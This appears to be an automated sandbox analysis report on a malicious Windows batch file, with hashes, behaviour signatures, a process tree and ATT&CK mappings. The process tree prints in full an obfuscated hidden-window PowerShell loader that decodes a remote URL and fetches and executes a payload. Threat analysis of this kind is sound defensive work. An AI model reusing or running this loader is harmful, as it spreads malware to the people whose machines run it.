a60dbbe88a1c4857f009a3c06a2641332d41dfd89726dd5f2c6e500f7b25b751

Analysis

max time kernel
150s
max time network
146s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
16-10-2024 13:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SMX-0002607-1-2024-UP-3762.bat
Size

5KB
MD5

23d982d0c7540551e840392de11571ae
SHA1

8cae67ab610dab59bf722ef2c1db09038e5a712d
SHA256

e5ebe4d8925853fc1f233a5a6f7aa29fd8a7fa3a8ad27471c7d525a70f4461b6
SHA512

f14b081fccbb2db1021aa03c5033ec59e22650a439eb5097eca4a7dce52035c06ab6d454eca95778fafcc6fd35de699182b380d12ace9420153e5cad8b5298f4
SSDEEP

96:AyZFysox3pf4I8GJqS+Pwx5oDf9uS5sKXyKf6adkNqTSN/pk44RFw6ABZ6hdpsSB:AQoxZ2GgZq5oDg6FXjf6aTYoIBAhj36y

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	2264	powershell.exe
6	2264	powershell.exe
7	2264	powershell.exe
8	2264	powershell.exe
9	2264	powershell.exe
10	2264	powershell.exe
11	2264	powershell.exe
12	2264	powershell.exe
13	2264	powershell.exe
14	2264	powershell.exe
15	2264	powershell.exe
16	2264	powershell.exe
17	2264	powershell.exe
18	2264	powershell.exe
19	2264	powershell.exe
20	2264	powershell.exe
21	2264	powershell.exe
22	2264	powershell.exe
23	2264	powershell.exe
24	2264	powershell.exe
25	2264	powershell.exe
26	2264	powershell.exe
27	2264	powershell.exe
28	2264	powershell.exe
29	2264	powershell.exe
30	2264	powershell.exe
31	2264	powershell.exe
32	2264	powershell.exe
33	2264	powershell.exe
34	2264	powershell.exe
35	2264	powershell.exe
36	2264	powershell.exe
37	2264	powershell.exe
38	2264	powershell.exe
39	2264	powershell.exe
40	2264	powershell.exe
41	2264	powershell.exe
42	2264	powershell.exe
43	2264	powershell.exe
44	2264	powershell.exe
45	2264	powershell.exe
46	2264	powershell.exe
47	2264	powershell.exe
48	2264	powershell.exe
49	2264	powershell.exe
50	2264	powershell.exe
51	2264	powershell.exe
52	2264	powershell.exe
53	2264	powershell.exe
54	2264	powershell.exe
55	2264	powershell.exe
56	2264	powershell.exe
57	2264	powershell.exe
58	2264	powershell.exe
59	2264	powershell.exe
60	2264	powershell.exe
61	2264	powershell.exe
62	2264	powershell.exe
63	2264	powershell.exe
64	2264	powershell.exe
65	2264	powershell.exe
66	2264	powershell.exe
67	2264	powershell.exe
68	2264	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2264	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2264	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2232 wrote to memory of 2264	2232	cmd.exe	32
PID 2232 wrote to memory of 2264	2232	cmd.exe	32
PID 2232 wrote to memory of 2264	2232	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SMX-0002607-1-2024-UP-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Sweetshop Forprogrammere Bevidstlse #>;$Billetkontoret='hovedngles';<#hygroscopically Borgerliggr Torpets Unclassified Blokvognens #>;$Psykes=$sulfate+$host.UI;function Boendes($Motorisere){If ($Psykes) {$Unpictorialised++;}$Aarskiftet=$genindkaldte+$Motorisere.'Length'-$Unpictorialised; for( $Herregaardene131=4;$Herregaardene131 -lt $Aarskiftet;$Herregaardene131+=5){$Pyramidia++;$Foredevote+=$Motorisere[$Herregaardene131];$Riskfulness='Oprejses';}$Foredevote;}function Aromastofs($Oversigtsbilleders173){ & ($Fandangoer) ($Oversigtsbilleders173);}$Kolonialvares=Boendes 'LaggMHjelo D lz dreiUnsilMat lTa fa F e/Forb ';$Kolonialvares+=Boendes 'S ks5Bran. Pr 0Bede Topi(Fl bWK.ldiMadenbeard,uako TomwMarrsVis JerkN UdaT kov oss1Agra0T nn.besk0bio ;Feri .aphWNobbiRumln Feu6Pick4Ansv;Nord Hen xBirk6 Afs4sk d;,oss OffrKrydvDomm:Spr 1Sm g3Uud,1A ti. lmu0Calo) Si Man G askeHjercde.ak ssioUdsm/ Rot2Depo0Verb1Erot0Elec0Spar1,iks0 Kun1Jord PreFYeariRe orShreeS orfOct,oFarax Ri /Supe1Mail3Lap 1Pyxi.Sawn0Tyre ';$Sparebsserne=Boendes ' CoeuR mmSMatlE Br rVo,d-U,faaKon.gBrn.EForsnDolkt kva ';$Cafuso=Boendes 'Cho,hPytot,uttt A dp V,tsSmle:mode/ C,u/St ecLamiaSc irfraneSesue yhrGodsfHjemi KunnDecrdlivre OutrSnek. IderOrbio .av/Mngdv pndn Ko,/Juk T Pr rT,keaW,stuNsker,ackiRes.gDis hSpaaeBem.d PoleCalfr Bas.ProcsHeineTranaAmin ';$Luncher=Boendes 'R ck>Vi,t ';$Fandangoer=Boendes 'HanhIunrueBoniXTemp ';$Ensnarement='Unlabialise167';$Totalisatorers='\Knighting.Pro';Aromastofs (Boendes ' Alg$E phgTinkLBadkOBrugBLayoaIndblBrne:Pr dT BatRBa keIspim N,nmSkumePrigspseutUd ao udfL,rouECu tnpas,ehals=Pala$Decie BebnLaarVCart:Rou,aChilp ampDri.DSikkaF.intAdm.AAn.i+Scud$,atat,wkwoRekttGaleAHardLBasiI Li S .tyAEquiTStosO.chorafstEVoveRSlidSOver ');Aromastofs (Boendes 'Venc$ XylgSlicLCo doVietb Pr.ADe sLPrst:UndepLordo Mi tJordASke sDynasVak.iElemFSheeEBrutRTr noSkitUAlcaS Kon=Folk$ entcTrapaSammfDy eUGuatsRovso ksp.Hu vsInseP ImplCollIRacetJ,ds(Dsl,$ Ug.l Z ru.ypeNFortc RgthN veESbeoRMed ) Soc ');Aromastofs (Boendes ' For[EmbenIsbjEtr ntrun .G nesFredEKaffRFir VLilliWaffc uefEHl np Lono l einasiNNonptKeycmExteA ByonFedeAMi rg ReiESu erkamp]Dis :Infe: ForsTrykEE,orCUnimu S irNontIKluntAtr yFejlpForor FroOAktutplotOH veC ilkOLoupLNonc Svk=Acep Lae[SturNDrage Va TT.le. Sk SMu feSlvecShr uSeleR bevI DdktTriryInwep TchrOverO ooptAizoo usCTargO,ettLLiteTNonpYArbepTyvee O,e]Tros:Tank:.enetKneblsomeS rti1dict2Well ');$Cafuso=$Potassiferous[0];$Kvatorialguineaner=(Boendes 'st.k$Vin GVrngl.toloMo,ebOv yA VoyLCoun:HestU.altn MaiE Ru vPi ta TouNBroke ouis u.gCYanaEStr,NAquaTRedrL NotYMel.=konsn ampeN tuwGuls- A.kOCivibAkkrjConfE Pa c U.dTCcdc SnkeSKekcYUrimsBalatAfdaEFlaaM Ach. osn preE Drat Sk .Wardw ExcEGangBAllecCro lfrisIInteeAnmen UndTmaan ');Aromastofs ($Kvatorialguineaner);Aromastofs (Boendes 'Fors$ RebU SpanAcineamfev MinaTeernRegieJulos onecpheneDecln ButtoverlTilsyUnh.. dskHLegieVoldaSpild iljeBetwrU absPlod[ ata$KlisSPaatpPrevaFr dr nvieHeteb aassIntesMulieI terSpinnVejeeTemp]Tord= Nit$UdviKOm aoBak lSk noHys.nSpiniBactaJehul UnpvPersaPater.chwerealsSoc, ');$Styklistens=Boendes ' ece$ Ou,URetanRenye Dicvme eaTarsn S eedispsGeldcIst eMadanTypet polIgn yLast. MasDHelaoSuprw umvnExoclTja o S.na RitdP,ykFHuf iPipelSwaneReg ( Nyf$UndsC ,ftaGodtf yctu .onsBackoCom,,Stri$ OraBHimmiDyregHavrePresm,rlsi ipnTykka Sp l ubl)Nonc ';$Bigeminal=$Tremmestolene;Aromastofs (Boendes 'Fl x$ TragSqualSpruO,sombDi.ea olalVaag: OdyFBlaslIndey HyrGGrsktSli.nsy.tiGlobnForbGItoie ommnDagnETrve= Exs(N ntTRetle asksTa sTSto -Spi,pFrysAI teTDiscHCirr U rk$CantbCho iInteGletveU,ilMKlveI ndNKentaUndeL Sta).ort ');while (!$Flygtningene) {Aromastofs (Boendes 'Tisk$WiwigSur l,ganoUnweb ffaaStaml Fok:SandMcockaQu nl EksiShaic mbai.egaoAb.ouEm rsD gsnNe,seFyris errs,yre1 Cal7Ch.s1 Non=Mach$SiamtE ferUndeu.ande .en ') ;Aromastofs $Styklistens;Aromastofs (Boendes ' UnlSRopeT P laMaryrAfklTRita-GeneSAfislBadeeOrchE merPVefr .eie4Inex ');Aromastofs (Boendes 'Frsk$Ma tgIntelIse,orideBRe mASma l.iau:MetrfProbLTab.YBonigImplTarbeNAftvi nuqnUndogR.une OvenTestEDruk=s.ns(teartMotoe Af SRa bT lac-UnwapErwiA SubT ishBrne Hund$Kl nBa ipIUntuGtideEAf.vM ,elIB.mbNRetrAbabyLGear)inso ') ;Aromastofs (Boendes 'Slug$ SjagGrahLDdsfORe.obBe.iAPrefLRdst:V,ntMTri iFlagKivieRVi eoFrikpEngeRSeleOUnfuC SpieForbs ChesKu.loPerfRSu rE EpirPharNQuiteEjec=tusk$P ntGsik.l omio GodbDiaga BralUnr :VesptTr kiPacec irecC,amhPiraEcrafNGalo+lic,+Nonv%Disu$VentpDowlOSyritLixiA tesFe iSBredIrivefBr.beTrolrmgleOGi.tuOpvas Blu.Roe cChemO kn,uBowlNRi sT fly ') ;$Cafuso=$Potassiferous[$Mikroprocessorerne];}$holding=324537;$Sevrdigheders=29555;Aromastofs (Boendes ' S y$ InsGrab lMegao web Na,aOuttlFort:KonsOZoopVKilueAlber ThigKnivUVi gnHe p Reva=St,k rregDo.nEHegntPlan-Pra,cLoddononsNBedetEftee RannDip,T For Kloa$ RugbUro iEgneGI,dreordem BesiFi,dnSuppaUns l ucr ');Aromastofs (Boendes 'Sick$,rndgDunklMah o SurbStrmaGattl ske:OrthBPrydaNor,kFi.at m ceMikrrMaltiEve,eUrtikHet,u Vaml OvetSensuEv lr VicsUrli Milj=Coun Disk[ArabSCoacy QuisShogta ine H,vmStri.Po.tCfordo ossnSpo vIc sety.irApokt ine] oi: avo:.sehFSprorVirkoPud mDup,BSeksaDians A oeBefa6P od4RecoSHe,etVi.irU dei B pnBihegUnsa(Ting$BoroOSki,v Ar.eLongrV ctgPe.ruRektn Vik).nse ');Aromastofs (Boendes 'Form$Sa ag,tomLDrifo SatBArgua aniL ost: ladtacloRPol.aTavsNL pps FoleC.taN Apon aboa eug Unse=Skat U dl[KaffsLumiYFjorsp.ast,olmeuplim ns.PtomtDet EJes X B.kTBill.OmarEObsenNodoC oruoMa kDSelvI SkrNP.osgFrot]Vejk: Min:St.fAGemmsFordCNeglIDopiiKr.e.Bar gcomie ljlTKo mSTermtCoxrRMagyIEnc nAnsog Emp(Skat$tronbOpbyA HonkrebntMaaleSelvRbevaIVierE ubkCh.nuT gelSepeTP.rtuUdmerGemeskolo) Sik ');Aromastofs (Boendes ' D m$ByggGSeculTranO tanBLrreAS.orL Sca:LagenOverOHkliN voGS ara FiglpaedaPrelCDevet hai olicClos=Mais$stroT Ek R AthA Snon ProSDecoeDelinTenoNNgs aScab.Rapas ildUTh ubDrifsSireTServr jtsis btNBillGbeky(Anbe$ RephskabO VanLDekoD R pi T kn M lG,ebr,Brmm$Sto sGloreAfbivakt R AutdScuti,quiGVoldhS preEsprdPateePneurSkibsShin)Vaab ');Aromastofs $Nongalactic;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2264-4-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/2264-6-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download
memory/2264-5-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2264-7-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-8-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-9-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-10-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-11-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-12-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download
memory/2264-13-0x000007FEF602E000-0x000007FEF602F000-memory.dmp

Filesize
4KB

Download
memory/2264-14-0x000007FEF5D70000-0x000007FEF670D000-memory.dmp

Filesize
9.6MB

Download